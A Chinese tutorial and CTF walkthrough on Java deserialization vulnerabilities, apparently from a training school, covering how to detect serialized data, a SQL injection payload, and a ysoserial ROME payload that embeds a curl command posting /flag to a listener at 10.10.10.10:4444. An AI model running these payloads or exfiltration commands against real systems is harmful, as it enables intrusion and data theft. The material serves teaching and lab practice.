更新時間:2022-06-29 10:40:37 來源:動力節點 瀏覽1897次
Java反序列化漏洞是什么?動力節點小編來告訴大家。
我們需要保存某一個對象的某一一個時間的狀態信息,進行一些操作,比如利用反序列化將程序運行的對象狀態以二進制形式儲存在文件系統中,然后可以在另外一個程序中對序列化后的對象狀態數據進行反序列化操作回復對象,可以有效的實現多平臺之間的通信,對象持久化儲存。
1.序列化和反序列化
序列化 (Serialization):將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。
反序列化:從存儲區中讀取該數據,并將其還原為對象的過程,稱為反序列化。
2.必備知識點:
JAVA序列化接口實現函數:
序列化:ObjectOutputStream–writeObject() 將序列字節寫到對象中 JAVA約定是給文件.ser拓展名
反序列化:ObjectInputStream–readOject() 從輸入流中讀取字節序列,再將其反序列化,返回
3.JAVA序列化數據流特征:
加密便于傳輸,不加密不容易閱讀傳輸,
數據流以為rO0AB開端,就是JAVA序列化的base64 加密
aced開端,JAVA序列化的16進制
涉及到以下函數,則考慮JAVA反序列化:
ObjectInputStream.readobject
ObjectInputStream.readUnshared
XMLDecoder.readObject
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject …
1.黑盒檢測
數據格式點:
HTTP中請求的參數
自定義協議
RMI協議:RMI使用Java語言 接口 定義了遠程對象,它集合了Java序列化和Java遠程方法協議 ,簡單地說,這樣使原先的程序在同一操作系統的方法調用,變成了不同操作系統之間程序的方法調用,由于J2EE是分布式程序平臺,它以RMI機制實現程序組件在不同操作系統之間的通信。
2.白盒檢測
函數點:
涉及到下列函數可能設計JAVA反序列化
ObjectInputStream.readobject
ObjectInputStream.readUnshared
XMLDecoder.readObject
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject …
3.利用
這里推薦一款只要涉及到JAVA反序列化一定會遇到的ysoserial
ysoserial是一款在Github開源的知名java反序列化利用工具,里面集合了各種java反序列化payload;
由于其中部分payload使用到的低版本JDK中的類,所以建議自己私下分析學習時使用低版本JDK JDK版本建議在1.7u21以下。
1.注入判斷,獲取管理員帳號密碼:
根據提示附件進行javaweb代碼審計,發現可能存在注入漏洞
另外有swagger開發接口,測試注入漏洞及訪問接口進行調用測試
數據庫名:myapp,列名name,pwd
注入測試:
POST /common/test/sqlDict
dbName=myapp?a=’ union select (select pwd from user)#
2.接口測試
/swagger-ui.html接口測試:
{
“password”:“ctfhub_29588_13038”,
“username”: “ctfhub”
}
登錄成功返回數據:
{
“data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==”,
“msg”: “登錄成功”,
“status”: 2,
“timestamps”: 1594549037415
}
3.回顯數據分析攻擊思路
JAVAWEB特征可以作為序列化的標志參考:
一段數據以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數據。
或者如果以aced開頭,那么就是這一段java序列化的16進制。
分析數據:
先利用py2腳本base64解密數據
import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)
再利用SerializationDumper解析數據
java -jar SerializationDumper.jar base64后的數據
4.生成反序列化payload
解密后數據中包含帳號等信息,通過接口/common/user/current分析可知數據有接受,說明存在反序列化操作,思路:將惡意代碼進行序列化后進行后續操作
利用ysoserial進行序列化生成
java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://10.10.10.10:4444 -d @/flag” > xiaodi.bin #準備服務器反彈shell
利用py2腳本進行反序列化數據的提取
import base64
file = open(“xiaodi.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
5.觸發反序列化,獲取flag
服務器執行:nc -lvvp 4444
數據包直接請求獲取進行反序列數據加載操作
以上是題目思路,最重要最基礎的一點需要知道JAVA反序列化數據流特征,以及相關函數。感興趣的小伙伴也可以看看Java反序列化工具,希望對大家能夠有所幫助。
0基礎 0學費 15天面授
有基礎 直達就業
業余時間 高薪轉行
工作1~3年,加薪神器
工作3~5年,晉升架構
提交申請后,顧問老師會電話與您溝通安排學習